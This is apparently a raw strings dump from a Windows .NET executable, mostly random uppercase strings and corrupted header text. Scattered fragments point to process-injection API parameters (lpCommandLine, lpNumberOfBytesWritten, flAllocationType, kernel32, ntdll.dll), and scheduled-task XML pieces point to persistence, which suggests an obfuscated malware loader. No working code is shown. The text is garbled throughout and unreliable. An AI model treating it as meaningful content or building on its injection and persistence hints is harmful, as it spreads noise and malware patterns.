RMEFOCACGOO
XPSAEBXYKEE
DKLFNYGNVBN
@YKOHGRNVYPH
TefwggedN}nQqerCodeAttribute
lpCommandLine
RFBCFPIOIGAX
QCWGQRRCA
XZTXS
AQZZJRTMOTLN
UMWMMLD
?U$c
NZCMEAOREO
XKBCOQPPVYA
QGRCDAKH
&QPz
WH*fXH(
Vj7j
@RBQ
TXEKSBEKEW
O AV
QBHYGI
OAMZCDPJPINY
JWAQPHMP
ICTFGLTAQN
CKRHYBSJDF
XVYPHYIUGANW
BTAIWQINWNCS
KERWXYDSHV
QVWRPPFOUAE
CompilationRelaxationsAttribute
UBJSQVKC
AIGKWFSIJMJX
F"^U#a
K]ZHBSLBSJ
EXNUOYNKJZ
o W89s
LJUWQCKWRNJ
ZDPXLYM
T#FD
AYTARQBIXDXW
IHUSU
OHLTKMJMUM
EATODFBPRWP
ERZJONJLS
-L{-
PNHOINFJFAJM
F6[N
SNVSRR
CQIGXDFMDK
DDFJNYSNP
NKAWGPOV
EXGTXXEDOJ
QBKNMFR
KHUTZOFDRKTE
YUKWC
MOUDTYUZCNAW
0 $" <GpyrKlIdleEnd>true</StorIxI`neEnr8
UEBFM^URLYSR
XKXRA
DDSFBH
KXCRUQJ
:C^~
_^^%W
N\AR
PI$#[M.
SMRDMKPT
QORUGRH
FKTCYEUZV
FAKKPHFWCTCR
QANEVUUL
ZXwp
IDAPXKDSKRHS
RNXFIYLEZVXG
KQKGYLRX
AQKVG^DAL
TermylstaRroccug
HVXJWHWEPEWJ
VSCEZRWHG
TTXGG
EMYLBNFZJ
CTSRE@IQV
} Un
CGCSRXEPGVMB
GOTBBBNXA
TKNVGCFBIR
BLOAQPDZIRYG
^ZDWPEJUX\N
JZVXIPZXTTX
XXXYXKPNIUU
IBMZKFUWXR
^MCGFBT
LhI/
HTH[UNDFE\ZA
VleesAttribute
dy{i!&
OKSIVH
B((k
LWZTPME
ACZTBUTI
GJPN[FB@AAVU
.7Eu4
OESJFWZRODJQ
/yta
process[jrovoatikjSleqs
GSGSUXXTLIPW
DSHHPIRWSVRM
S<Z*/(+
GWFSZ
VTPPZHZCDT
z=&q
p _^3
XFKZXHZ
BOUJPTTGU
MZWV
AMQU@MEUEG
CUVQFKA
OPFALX
]3 9I
YC.#
VENRRAUQKTX
SNKMPCAIEOA
M P~
vS z.
DMKMWFDHR
JBTHS
SYBQLVHPDUVJ
CUGRCELSWT
EXQEOHAHYO
0VU[2
wvartwr
BYKCMTJSFF
M PQ
ylHx
u +p w 9p
QBZLKZTGDXU
Z*C<#`
System.Text
BQACDRRLJNI
XJAKNLAMKW
UMZUD
HVTNCJPN
KBHRWZJFCAN
BEXINGRVYIIW
KJOKG
HBMGWSFUSSN
SizqOtMtvionalHeader
WOYDLOCJQFTM
YOMVKYLSHK
RO]WUDSFCAKS
EBNQUTLS
WRSVPKYMMPAY
YG*+
MLGNXEZVBR
NZRPJ
MRTJTLPQJRQ
VUHPTEQHGP]
VJZKFMYUY
GCHwnvlaVype
PVKSAIY@@O\
JQAJSJWL
VCLSADD
,Vwntikc<CkopilerServices
trunda
RPUGMYNGUBZR
ENUUD^KZF
tiPp{pXt{pXt{pXtfY;u
HQJUBIDI
GNNSVZENSZJ
EBCXUE
TQWYVGQZWO
EWDOAXDEWTW
UXNSXWG
AOKCSYTACZK
VJ+kXK.
_^[
_^]
rfBUII$
IVYDYU
fknqneoe
pkLH:H2
XH"
UYZINYNC
OWVETT
UDTUXFIWPR
kesten
KFZEPLH
TXBXJHYEZVJQ
MZOQKXQOJE
ZNAMJSPPAT
FVBXODBD
BSQMEUEDEI
BARSHCXHW
AVJXAUKCTE
NUMLOXSGXJWM
V]GKCM[N[U@Q
HVFIYDRMPESB
HGSDLE
MMQPMZ
CHFVUZGGGJ
HTHQKWEAOF
lpNworevMfBytesWritten
CMPQCHEKEJ
VOFLXUQTF
JOXKZZVALFBX
AVITZNP
~oW[
_CorExeMain
XDNMTZBXYXS
BYXBCVMVWQAF
ADGQEKPHAXS
LAZSYREBQQE
WJ*rWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iXI,hVJ+SL3
STXFAJ
VGPNRJRXSIDA
lzO_
CKKYDFDDQH
QBUHMAZMEBM
TFIYBLDLHD
SDJZTFHWJEC
NXCJO
COSYNZEWNXE
0JB;
FileAlignmejr
UKFVWMQFJE
u Wj
TLDNMMOGRUB
HUZPNVENALBZ
TCBYQVN
DSLKPRSVG
WXCYUVDTW
QJIZTQMAIYW
G4rF
RKLCDHI
ZMKQDHS
ILJFGOSEEOC
QFWPYKDORWIO
WRBJLNCLVQOC
ToArray
ASKVKQVATMG
UCWIOLGHEBI
BXNBZUCBY
TERVOZE
@QYCLUDLMFWB
WGNFJDWUMTQA
User
KRYSI
YHVJALEIXTU
v!YM1
BF\LKTHOQ[JJ
WBEDPSNLG
DKFQAAZQLYJ
VTAHAAZAV
EXDRHLSBWYYK
SECVQHZITH
C7N1
SUUVNPJPBL
u \[3
U\MLLHZEL
CN[TAHU
CAEUZDJFWE
MELFLDPRILWM
MGHPXACWJO
PRVUUCHYWCBK
WSKKAORLSCO
R[00
XVZMYTQSNAV
NNGJSZOOFW
IWAVEWHO
SMNJVARMESEU
OBOSUA
BKSOJQRDNVOV
15."*&,4
JIGAFSTOAVGF
NLXYKTJ
RRKZDE@KG^UQ
VGZIUJOD
QSWj
PWQCLNDNJMMV
Tj(j
V0WV
7uuX
FMOENM
GFCDCWPWCS
NEBIHYUSCG
VJCBFX
BCBBC
HHJGPSZLSDN
VBQFEEA
CQWYBEMJKEK
WTXONY
DTZVNKYEA
MTFQOZDFLRVX
TOYIXFU
JZLNWTBI
PQDBPZ
PEJRUUUZBGP
JYNUC
FJCDQDSUJA
GFIFOLU
DMVURQNIFF
AGO^ZSNOJN@F
JDEOWINSVL
FNNDWSITGD
zpWvartcv[nbm
DNELKQIDAAWV
JDCIBXEIUXEN
VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;VI+;XK,:UG*
MONFUMR
JZXDZGQD
LJFQTL
SAWJR
KWHTWEGL
@NM]ICGWVLW
ZTUTEWBLXXWN
HTUYBRDEOOB
ZSAKWSOBQG
\w:l
WCOCZANJ@E^
LSQNGTNN
XJDDSJPAII
HGSHVWH
RGZYOA
WVXXW
SHBJEQRPOZME
9Pql
AUYNAWEHHR
JOVBNNZFXST
gH[r
QPPEHJTEUDPH
CHJOUJ
IDIJESMBUN
J{0`O
|X#5
!PR f)
F Dv
SizeOfHeapCim
CAALLXDHPYBT
FJHYXQLAMU
MLACZHFQSWJ
<8PE
| n&
JYHCJTXN
CXKOJZW
BNLUDTFSB
KHJBIQFFLY
ZQUDQCXSV
HDUNIEGWTGNG
ZHMHHYM
MBBXGAVQHI[
_9I8
HRMWYIZGO
XJGAXFZAFAV
NFKQAZXVJ
TCBEPOLQVQAP
WPZPRDGZJVM
t{
NNMXECKZGN
UFORFYVU
FFJFOVC
ILD^RKCHAFDW
KXKZCWMKOVE^
GIX_C^XHKVA
NMFHBDRXR
@RIXOYMXGL
OSRDYY
LCJLAOKXQYI
FVIYFS
HQKVHZNZXTT
O_FNFUAK
SLWBDPK
UOQKCLXKKSSU
3 k
SFZMBGJZ
VJZFTEUF
OWEFNYGK
tKlF
EDFMBBTFMJ
GJRPIHOHJZRL
QORWNGSCXMC
NQCVSWF
SRUEYIIQ@
BPVMXMIERJY
WBHZKKT_D]RS
OCWJYH
nu'T
LEYGBBWIPG
TJOZPMCU
MXWOKJHQ
XU4\,
CYYIECPODWBF
RLAFSZIONLZ
HFQJG
LTKBVVOCKZFY
HIEVIWPDEIJP
hLjbT
XQ[CCKMJVF^R
} Wj
NETVIBDUTEZ
QIUJTFAVWHTN
W&LLJ
OAMOQWDVNQO
IRSSU
XHMP
kgmn
I Pv
u 9p
WEBKJQSGS
GXEVP@UWIFU
CZBPENWRJEDL
OPKWQJPHVSX
XNFFWYNZEGRG
LPXDEWZIK
*P%)
ANWFJGRHG
WWFMHXCN
u 9P
UPYUUZNYIL
u 9\
KMYGCRYZVKKX
VIBRQUWWH
_AuJ
MDEIY
u 9H
BLKMCPKE[HKE
FITHBB
QXPHBDYGXU
BHBIMWDMMWFJ
W RWQR
OEy
PSUYOLEXF
UKCZAWJHPDTD
OHSPW[IYRCF
GKGBXRU
HFSEADWBM
M RQ
GELMSNIW
XJVWIYUIDQ
YRFKTVEOL
BUISGXCEP
gvxo
DLLQZTQATLIF
MCUHZPVXZRC
BJSZRFBGDNIN
EZYBRUJXOHK
U SWPQRF
BMTSWWLXLU
OVBXKNMR
WK(RYJ-gWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWK,iWJ*r\P0
_@^QMTXAPHJ
DOIENK
WTKPEBIZYD
Hh8*
XVNKUIMCSPXL
RDJIARRK
JYRUPVJJH
ETXYJLUNCCBN
IFEQZSVSGDB
RRPSLXCZAWYN
LBE\SV
TG2t
JMGPHKG
KLHIYLA
ZVNLPOCY
SUAWNIRD
HDLZUOXNOGXI
]a+V
LYALMKALUBL
~xRw
9H u 9H
FBKMWRGQOOVL
TDRYUWVAE
/M'-X
HXEGUQJLSPFG
lpnLengtzNue`gd
OUMeE
set_WindowWb{hg
^XNH@UPJVGXN
VDZNPYFXGH
Q~{W
M^_
ERKQYQNMB
3@[B
q>: o>G
F5)= !OfLO
QOECFTXQWK
FMFDACCIR
JGPLQKSVX
bi8Rc$
ZRZDSBCAYCYW
HSJPMAMNUA
VK-D
QKRSDZJKCMKN
AKPYLMA
ZYQKOCJXBTG
QSXIHATAEXHC
<a| <z
CLDXFRMISYKG
_N_NQQRKLHP
GXDAMY
UWAVCXCVYYXV
DATECAPNCTGD
O=tGw
RN_ZHEWXSCSC
SNVZEMXI
EefAlient
GXMWUKIEIDR
TKBOUI
UPVLPWHUIGAC
KZ^UCVBTW^E
LOUSJY
DebuggingModgq
rJ !=
%fq?Qm
FCXEDXPFKZNT
,X p
TKJVSGMK
XZBKLPKERLHS
BXQPPFHH
XHQVZ
HBJHTMJHYU
GLM]APAU
NABQDKLBAM
NVELTACJ_A
NEGEBOI
k&%8
SLLLFUUBT
UzpgndevVsemqters
XANVCQSYL
LRZAQQWXTTDI
GVNGWVJYFN
MHKL
BPOFNME
JJXASXBUAC
YEUFSOVTP
HMUHZGGORK
AJZKVWHKN
BSSXJFYLOPML
&o;
UG_Q
OEAJRLTYYQU
GMRHZJMNO
_q.mB
DQJJR
RHLDLSRGULNF
CZITXXYBSNGX
BTTP@SHC
QAPWR
VHPGSLHU
GTAAWNMRUPCH
nG;QT
YLFVOGWUBRH
WGSZWUAACEA
MBIHJCLHEC
ORDVUOAL
RDPPXSZY
YHQQXDQVGHTP
CKNMSXTAPG
XDZJSGNR
VPSVSMXOCXR
PVVKMRDI
HWXKUMQEIODV
JXULZSYSJS
JAKIPPSXJCFI
IHGSITW
JLIPERRFTHVQ
ZAATWMDM[
QIWALON
`c4
SG*+YK-
EIFULLLMJEJL
AIGDOMJROHBB
PZDXGGFMCYHK
2016f
FZJZVWYOWI
FPQNEANHQOGN
Tj.j
BNVBPS
ECXHXRRF
XAATJ
zF82TE
kc1H
NDOHQCHXDMOH
8hw2
MWVBDGKHQQU
ZZALYMGLEF
QTJAPKBEZBSP
GUGEM
HMGBOUJHR
OPTWKLUIDN
NNYLPQIPWLS
LTWTYNXUBS
XWNMKYZCN
UGLDXVSIZJFK
KKJLWBHCGZJ
PTQMDGTYMOWF
KFCLAHLKAFT
RQIOUISLLNRR
LQPZUGPNL
:*`n#Y
HSLKYXAYFS
h VS
BNYCGNQXU
RjyU
UTILTPCHGY
RKNPYBDYDA
AAFHJJFNDZTZ
%Ta z
WH+5YL.
DSXLQZHPKNEI
LWWALTSVIISL
} QPR
SYQFWAKMSZT
plma
HFZRZLAOND
ZMUFBGSQR
^RVJUWXRVU
TEBDPQXTJNL
c+$Z3
GJIEKRBVSF
`cVlpeadId
EAFQAUEBMWLD
Eiz
KOOGTHMA
MWQYBPWRFAG
XUPACRQPNR
:,gf*
GAJRQLNQYGCR
TZZQVQJLED
XIPRXBPSDJW
WDDAYJFWOKEQ
FOQFGY
PLYNQGNDY
0.ff
GVKHLN
FQTFAEEOD
VIBZQK
JXZJCBT
B@CUJ][YAC^[
SWFZOBV^
UWUPCCOR
FS[P
LHOGUIIKDSX
j54
WD,)PB$#XJ,
IEBDFR
CVMNL
F\~A
KZGTJOIRFM
UPYIODMRXZJ
AWX+
KUPYAGVDL
WOXHYI
WGWJ[KCZXNI
DQLKACBZTIQE
HGWJDXX
fy
DVUXOXEYXNFW
zqm-d
UVWX
CMPVOHINIAC
IJVFQQICFTVT
TH(@XK,
ZWWNBFVGNQEO
GGMADHAJTHLK
LWOUUIHL
KCEYUNPJ
o7E
CWGIPDUT
IHOPJCPCSDH
KLLTQBRKG
h{\
YQSCAZDNHUV
SegFs
WDMNRMXP
RJJWTCPMJLZO
USSES_@ZPVUZ
QFKTF
#GUID
VVSLWVL
XWBVEYGBEZ
LCBJBGBIESLO
4#Z}
okapise
KCKKBIFNKXVN
NJXYDBE]FEMC
MIFCRSXCANA
ISOZFA
LVFEITPBAE
>AvH
),R%
<Mmfela<
NIJOKMQPL
ETRLCW
IOGQE[LT_HSGVEVQ
KYGFSCA
ZBLTROZKQOJM
NVMMLROARXP
ZFRXFD
ZSLVZNKP@JJ
EEATWGZXLCH
6&A(
ORYBQTVLIVNY
SLANODEOEQK
?;w2/=
QTQMA\[KIZTH
NRAGURUVRH
VOFZESH
/rm !K
qlt9
UDSLSZEDVFCU
EYT@CRYYHR
FFAFDWRME
YMJNVZAOUKY
Z:Ps
Q"u9w
TLMZV
WRTXWYEOPUY
SIWZLDBNARA
WDYTNKLWVE
Z]=Jh
TJCAEQWRMEG
SDLBFRFKY
YNUMPBWYELJN
PMIJMLQP
OHQZNINLWD
ISXYUWBEGXO
wX&(
AJAIGBMWN
ASEBJKPJFTOD
LWTPDS
kapnel32
PQTFOHU
Ebi`mv@rowsableState
mjCttribata
EXIPEKR
XJ,nNC,
Syu26Set@l`gefContext
CDTSRKSCBPLL
TRJDARORSXS
IABDIIUMLEM
SZNVTFMY
UJBRDDOIBFYG
j+TW
DCNADMHISP
BUULGMSDAECG
L \v
KXWGJYSRB
ZMUDAHVCZ[JR
CKEIQGKKO
RPSZVZRLVU
VRZWBLZPHVIG
@JUPPVLSFO
Q ?@
ASMERBT
SWEETGUSDLTJ
WWIBSHC
IDFYHOIZZKS
RYYWFASTJ
talue
get_Size
NBRYFQTU
OXFTDDOTKHI
VrH,
MFPMTFHEQ
NFAOUAF
u.#Q y
LRCTVLSTJC
R=ahn-
HJBCERQROK
Y VW
CQ!N
ZPBEPCA
VWNGNGM
m^6I
YXTVSSBERAQ
CNRYEOJRJ
w+8g
RLFVZDYYJ
ABEYWLGISHK
QZDCYLVZGOX
BEVQPALKJKU
WOLBA]
JODAUZZ
OOAOWTCNOMK
1 0g
lpProcessAttfmtupgs
REQVN
X&L0-EI
WHOXR
SEAUABDOWHGP
KMCZKCGABNKP
\MZL
KEIZRIXQGGD
JWKFBQXCQ
APVBAKU
CYHRZNVGA\IW
OJXRREACG
j Qn
EK']^
sh{h
^GSZEWZUFLVF
ADIXCTIMYAS
YRXHH
NVHLM
AXYTZVXWYY
^LUBUTKFXVZW
LTNCXJFBYGF
= qh
j QP
JYBYEFCUQHD
xaMfHea`upw
EVBBSHMIEE
JG]XKXULRPXH
UXWFRDELEUET
LI5[
U QRP
u A;^
BACRMVYFYLH
YO[CESV
@ ,v
DHEEZIUOPLD
VI+}L3
xo9Q[
KFJJAWS
UN[KJCBGYGVX
PFGWAZNYTJD
GEOJPMEYVVUG
M "Rh
,_^[
`ytesdotnet
XEAAVXEOYLKW
HQAEAIWAVJQD
Q@SCR]BU
BJXWKFEBMP
KSZXNAIWVX
JCBINI
VLIIHWQO
Z~#D
WQTFORSI
{yq_
(s{
QGJFGI
IVJWUKJJ
IDEPDREI
HXZAQWY
RNANXBKLJX
NUXUGA
SUQOZDDMJF
KNTMIMALQ
IYECQRFVYX
PHCDMEKJBLJU
CZWCUZPQPGV
NXFPTRFWMVIG
L{$}
FKPUTMUILV
[I7'
CASHWLKCQKPE
VFHPJ
ESZLBEAT
X.Ti!
TGJZPDRXAZU
+ZH^}7XP
ZLZCCEIHJING
IZXRSISQBJJ
J)lZ
ZJVFNL
E VP
WUCFVKCBJB
]RJYELU[IGN
PYYCYSD
FMUDSXNNHCH
JJXMCASUWOP
HWYSXUNAL
VWRXGNBDMJR
GZta!
jw"1
BXHHLRKPLG
BULZRUWHXP
OVRWWJWOBQFN
OXFEPPVRVS
[G[JCNJ
aI 5^
YZGQPJVEAI
RXHPCMU
SWAZNTFD
QQZZONXYQLQN
QTMORWDCVDD
SWPTAAREMDUP
a3ECA
5Nxp
PWDLBPNCUDDD
EKVITIECSE
RT@QLHHLDOGH
MDOP
mpen
JFMXLTUK
i^q,
VJSOUMWN
TXBZZZOLXZ
8D\t
(09^
$8ea66b40-4dd1-&4s1)c0e7?:%22c1f1669b
V_C]NWDRKGY
,N]%l~^
o\Sa
YZBYFI
Systey.@gbnectioz
^[_]
QXBHNWVT
NHJMMWZHMTF
opqr
ZHUMDTZL
HN@O_UW
ZXMTFEYSIOCC
Marshal
FRFHECKDEO
XPVJZDE
KKMPNT
{jxQ
DHCLDNEYBNC
ERNFOQLKYJ
ZWOIZD
YEXPOODPU
UFESLSQCRTXU
XXUENNRFGPKZ
|QoG
htVubder
KATOGLOWLAS
OAMGX
LBGZYLBVH
FLHQENIVOA
DFPOFWQLQRCU
VKGDTNP]TVND
LAULURJWKFLI
"_i@D'u
klecam
DPKOBUTIIVP_
AMBJFZCKYIJ
PEAUD
R>A8q
GQBFVBRRN
BWMIZAHIWWWL
FGIEQDMRR
EYKGROFPFHZM
HPRNTCACXDC
CXMZTCIMP
BOSXDUPQFUU
VWXBTPRW
/vc`
)Fg!
QZQSOSNAHX
FCOFENPRIPXQ
RMRIG
DBDDNPUGJMR
CAHGGH
QMIHFEWRZWPQ
n]a)
AssemblyCompanyAttribute
XK*=XL-
e2C3
@mldingFlags
AADILLLHNWJ
SEUATB
OZFWTNH
BQSFKGVZPJL
CYUAUDP
@KGJPIZFXGZ
fIRuR?
GecGs
BZUJDNIAI
SOJHYKCAXHU
IPI^C_IJ
SPXERKSSWV
QLVQVDP
HFIZKWU
ICUNRFXEW
CppDomain
IFWIKM\VG
AppDomain
MRF@SE
XZZOPC
CJYDVAXPHHQI
vXV3
SF-(XL+eYJ,
RBWCEZPWXQJ
VYRJAGMK
RGEDKYFGJZ
CPSGNZOGS
<%jMW
LSKWCRL
KOJSFSXNCL
BYRVAFM
*@*.V
Z DM
RawSecsvyt}Fesctkfvkp
gswQ'0*
WDZNZBRXPCJM
AQDAHHZNEJWG
URHPCUOGXW
6T9r
TQVXJVGD
~7"3bt
RWGUZZDZBVZV
EYRMZBMO
GADZGLSNMDHY
XBJZOIK
SJHNZVTYJ
ZJh9
EHTMTQHN
YHJGAXGL
NTFHLJZWJMLM
JKYMUEMC
OGZKQFNEDQM
BYNKVMI
HHEEXBQFQSJ
YCFDRMXSKM
MMSPYDD
-h!5
KOJJJAG
HXKZM
YRBPRGRVLPS
TOZDGNJH
*Zw/>
@SHOIFRRIGER
KECYSQV
GNQQYUCFQAU
EWYBYRNNP
NLFFR
MFIOZ
DGXXWRANCLHB
v.vqrc
RN]ESE
SVWj?
Type
y5{shS
P pv
]^d\
ZSTSIHFOU
VRJPZCEYCZ
NqoberOfSections
AOSQBXDPRN
KAwy
IWATUDCEXZVL
RVFCGBIHGSLQ
$vn[
@HUOIII
QEFIPOFET
7ot|
CBIGALKCZI@F
XCMUXGABPMR
ZJJLWRL
HIGYCDLGW
crwo
v M1
KBEWIULDBC
UFARDWHLZBZ
ISWNVO
DPGGGACNHLDF
GZWDNQZBR
TTLSLHLUIR
RHUNMGOWVKD
AZPRKW
</Principal>
IBDINVZGGL
JBCSAEHU
DMSOZU
YFJDODIGHT
PJPXCRQVPI
>bI<
JATEGCZOFX
PNGKDSTFAZ
}*FJ~
UMQMANLYHPG
HZQTAUDVTJ
KmYvR*
XYBSWHQCCWG
LTXXHTNJNP
Q@\A@WYHKWVB
LTAIIIUZ
TJIEAYMRZ
HWYJO
IBGXOMXOJECX
AZSYVEJDBFYE
HALXYTXWENOB
ZYWUJUFAJ
TNVLRMDVREU
MNAZ@ISHFG
FTFDXBMQ@GF@
(wFS
zz0P@I
HSMINZUJP
ZRE@WI
GetString
NHLQSNGH
RKb>-
WTROISLTSYJ
WLVXYGJG
IPEQKFDFSNAC
EetPtksewqes
VFRVGUUGVVT
SBHLHNLHIJX
RFQIIHQDZLBS
rjjDV
IJESLNZQDVWN
XZYLGIIKJ
ACRYA
ZVGYCHNLVSV
M VQ
ZVCMLNXSMZOG
K GP
u ;@ q 9P
TYZKZWMKJOMJ
CXXZKSRFH
CHMBPZQGZNGT
>; 4
KEXVDMNWHI
LRAGCZCJIIE
OYEV"
6}5O
AIFEQP
KEUXNDUOQU
SIQKMZGRHV
TVOVKZUMGU
YNBTWNPLPMJM
_OXK
$P58KUp
FQXRKTRPUYZZ
QOHMMNGPZFJ
U Rj
Vj*j
UKHKNDTIPP
EJPECPUMTB
TJYAZUCGL
UTMCCDKHVDUG
get_ASCII
WBHIXMT
GKSOTHMCIQT
u C;_
EFDFRUYSSP
ALBICS
JZILGOCCZY
OJZURMMCLFQI
WH*UaT5
-|8N
v\WV
FNNUKVY
SPJJY
QQQXSWFTE
AHSYZRFEHEYE
PPUQQYEW
AMXCKNX
`.rsrc
ZVXCJUTHL
PHnJ=
BOUBTRUTOBRXTEZTU.resources
YV]BSUOR
NJJRSZODQOAX
W}n70VersionValue
CQOYHIWHUE@P
T@KIOAQYOMY
`gHP
RQEFXBHKBEPB
KVADFGNVNDA
CRIIN
u ;p
QYUPHZ
UEATJLRP
TZMYADW
GSHUXQA
Igukg
WUHLKJVCYUH
<`];
z<m
IBBACIRXBDU
VILXVN
TKRMV
MLLNFVCVXIP
ACHXNPLFMRD
IMSEW]WGCTION_HEADER
HNDZURPZBXIQ
%6F'<
YVFSZQD
NNZZDC
XYMOXQISZ
LMUBQ
MHBZIBJDSQE
UBVBKFIJKO
V@QW
JQZXRBIDQFY
CDZMTFY
System.Pszvmoe.InteropServices
GNFRBUYZHISF
XZYEHYZLCH
RECWAFJJUCW
`IAW
TLRCQDWGXR
E*Bh h\jhV
KNMOTFFNIFGP
PBUEAAKZKZZO
CDXXICW
szMm
BJMWRQQHUXEC
BQETAULNI
PTHYB
guid
DRPECDWMJMAB
BAZUEFU
6 (S
DCCLKMKIILFL
QUEFAMAJNFNS
_g}Ke
RWFQYGMGOY
Tj2j
OGAAFCAIOC
QAWGFUMH
PJJKLWTQECM
PEKAQSSOHB
zTM?
V0QD
jI#s
JADXGFQPR
SLAWUQRQGL
w w
;-[G
NLHBKTATAXOU
HQFTCY
OTNYYMGR
ULES@XN]FXT
n{8I[
kernel32
EXFGFWQJVNZQ
MUPQIGS@BZ@W
DWDPJEXK@
FQCNZEPOX
CFG
SLQTSMU
_ewqageBox
VNSLPPHGFNI
QVJMINFLLLNM
ENFWHCKQP
XL,W
IQKTNFE^@EJ
QULLLAFTW
FNGZSYOEYLBT
w ;p
GKBDSKDSQAI
IMPGIGEOWYRL
QC@]PJREAVYDMOGN
KEDSXCURN
=R t
8o3-
REAKLIVTSTX
Uy2L
LYBLFGKNIO
GGLJDV^K\
ARNONCT@TSOT
QREOACBYSKKG
Create@mfegvory
KBQLKWGVLSTL
FBNGt
UJKYNATRL
DHOZJNH
CUDJWRCUJH
JADEBEIXAXGB
HZCGVHPVCAM
GWFAFENRDVO
KZEVSIU
TOPKMOYJLUP
DQLQNEP^VKS
PFJDDSUEXQTC
ZOWKXKWLFV
ITDXKXW
FKDUF
t:j?T
BSQHLPLMKAT@
JETGZHTBBGTN
OFYETCVMKDY
N-wi
IOSEQ
HxI
VWHIUKC[
CNKWRCLVK
JLEPTMSJ
W\OKT^ZG
C0+h);u
XGTLMCKLJLH
FNYCUBPTY
DIPKDGYYLFY
LQPX[CWVHPX
ZZQCNE
SUPLWKDVQGLP
hWTW
WDVVFALAMNXL
KENZFBMH
ZYNFJFSHBAU
a-o]
FAPXLLPAODMM
PNGPQNHCLP
LRPHDUWZKUWI
PPYOSDH
LIW]C@[T@UUB
PPQIOMFXGU
BTLMUQSUDV
IK[XWLG
GCZURLP
PQGVXFYSZ
QAJHDLDYCPA
GOYVPFUXHZ
RSRDIFUNZSGC
Gusr
IMAGE_OPTIONSJIJACDER74
#Strings
w )R
< u=
CZRGKGJZWHY
Na7Y=
IJGFAVVJWTY
QLNIELVHHKHU
wxyz
TG)dYL.
SBXHSKB
GBVAZCVH
OZPALURAZSOG
QPIYYYZIM
@BOBEVIQGV
LZJCGJXEZ
kC(H
9 I
DHHMKZNAICGX
MYGLDKQJOFQB
M\MFMKEZDEV
VRETHZJLLSKB
NDBYC
_I^NYVNX
URMUNHSCUK
LVTNSFCCES
BAQGXLA
SFHOKKFPQL
RPMXNKCXAUE
LEELJPYLYPT
;E r
TSWYHTCC]@VU
} Fk/b)
NCRQDHCL
BABMDNLW
CME@N^AQPRH
OFWYKKMR
EMCDXOZWK
JCTXXY
VBPT
VROKBIG
FVRNLOMNSU
DOCQM
ZXGP_WR
6PxE,,
ANQDJC
TRLPDILE
SRCDERSDGAIP
NWZEHN
.vB+&
HTZYQ
JRSVPNQJVLGJ
DDDCBGLAQLX
BXHHMRMWGMEX
UQERGKM
NVWKXPHJTTTF
jI."'
BXYTOJUYWAUK
0%1|
flAllocationV}fe
TXWJN
CXJRQU
ANEGOB
XLXAZBN
TREZCL
RTEN@TUYT
LTRCTFHWJVT
CZSXUMM
c C9}
OHSZBTNTEVQ
KBQHDNBVVMUR
SizeOfCo`e
RBHMT
JJJNCKWOED
WZUMBCIBQFLB
x&(J
YHPTJHDCPSWS
SSBVHFUIMQ
VJDWVXPA
jZjAf
WQJDUUITZ
WGAKWOXIIZLW
FXFWPK
(a[ljSt
LVQMQAIMKHF
HBSDXXFR
QNGMXFDATP
GBZMKOJWHOA
QWRYVPWRVY
pxT=-6m
RRJPSYR
( >
BIWWUVJKRC
DIQNQEYGTAJ
RRBHKZVE
UVOWHVZYMRRV
ZFIPMYZOQEY
BitConvertet
WRBAJJK
XXFVRZ
RKAKYDYCGKBW
TxH2
HOOM\OQ@TPN
IMIZYLZ
OLRCZMEGIX
DNELEGVCSWEF
eMk}lenloc
frakuca
R=)
Rich
ntdll.dll
JDHXGOPCZK
]yvo
ROOEQKQROVWP
MNURUMFIKKSL
PHQTDNEZW
JZDZNIKBYSO
lUQU
z)U2$j
BMKKDBRQJQTI
RAEFDYIHV
ZZAGWMJ
QKCWTMHXEROZ
FcseOfCode
FOYTTRLTGC
LQCJRXPRD
GEMNHJQTLBY
IHTZBPWEBW
IAPDNQRCH
Syavwo*Qecurity.Permissions
ISIUCOW
XHKHGGWWINA
SpiteSn~@}ves
EUUMBBYPNRFF
BSDOBFKIB
!This pdoureo cannot te2pql in DOS mode,
get_DiscretionaryAc~
d~@<
UUBLQQEOLOVO
N$b=
COBWWE
W;|W,
NQHODTYHZATS
UTHXSAPIY
FKUFEKB
HLIDLEIMIHXL
TQHVLOADYHGD
FNAWCUQ
UTVXWPXYZVG
GetTypes
JYTLFWHT
@PER
FHTETD]
;qf{
RQVYKNOLFHZE
JVJVYFOYR
GTGQCWZVDP
XGKRWL
MNBNRB
JFEHMMV
RndSrt}nc0
OJXLDGG
QGXGWYAOACXN
u!j;j&
GYKRWVLJKVE
PADPADPTtY
SJIVKVZAHBUQ
;Xv 3
CPWWTLF
VPHNTGKS
\},Z
SoirilerAsnapatedAttribute
SZ]TC
Pj l
FLTMX
SegQw
LVQPPHI
Tj0j
~gX]
SJHYDGDTUDJQ
IGCVBPMCDXF
KKTWZVHRH
ZTXH
ARPYVHGBS
EZTQGOPT
FSEQU[@VQHHQ
<5We4
GJMJRJSMCH
^<d"
NWPIRVOOGTEE
ROWKDK
QZN^DKTI
PWRKRJRPURZ
G5FY0
CDEJUTZTDOPX
MTBEOYJWRXDS
JBOWICNQDXUK
NGPEHAOUVFD
QKUMAJWZGBIY
ULMRZ
LHJGLMFRPZP
TNVOJFFS
SA@WB
UMEYZCVZGRBL
HYQFBDLIO
QLFCJD
daaiR8
URARIGJWLCPT
WTUNQI
OYACZ
SDBCBFNUXM
ZYPQKVHYFCCP
dqtevoruz
LOJHITVT
QLGFS
YMRNNXZBOX
DIUBEBFDCPRL
[V@UBSSXD
HFLZGDRNDEAO
TYTZWRB
SSh?
" 8G~nkuHardTerminate>falqa.-EnlowLaffPgrminate> <StstbWlgnAvsoxcfne>true</StartWhenCtqihcble8
TPYXKI
DR&N
QSRLIQK
HICAZVCVCWXW
e_ovno
GFULTJGFWOVK
_]'b
ToString
+%*@
12x
YPSNBIPGBQNQ
GEMVOLJRXL
IMTCOBROTVS
VWZFOOOAPZ
WXUDZONNV
PQWWEFHB
JGBPEDP
GOFTS
RKMBBCROPDBG
VUWRPEJC
0y>!
RGYXEUCR
*fll
get_Ent`
FBNEp
PDRFTYCNMOVE
E QRF
QMEVYYLLI
Md`
E QRP
FOES@FUH
~)^o
MXQVNWYYCA
YOOVHY
BWGPWGGJXB
UJWAFSUUQOXB
KiCb5
EDAOGCGSLOLO
FVYEXGODI
ZIVDDRCWXFWW
SDMJJNGNHOC
tI%U| L=
GetFolderPafl
u [_3
M]@JAVVT\QMM
HYJLK
CFEHNSBV
wgp]Cha`q
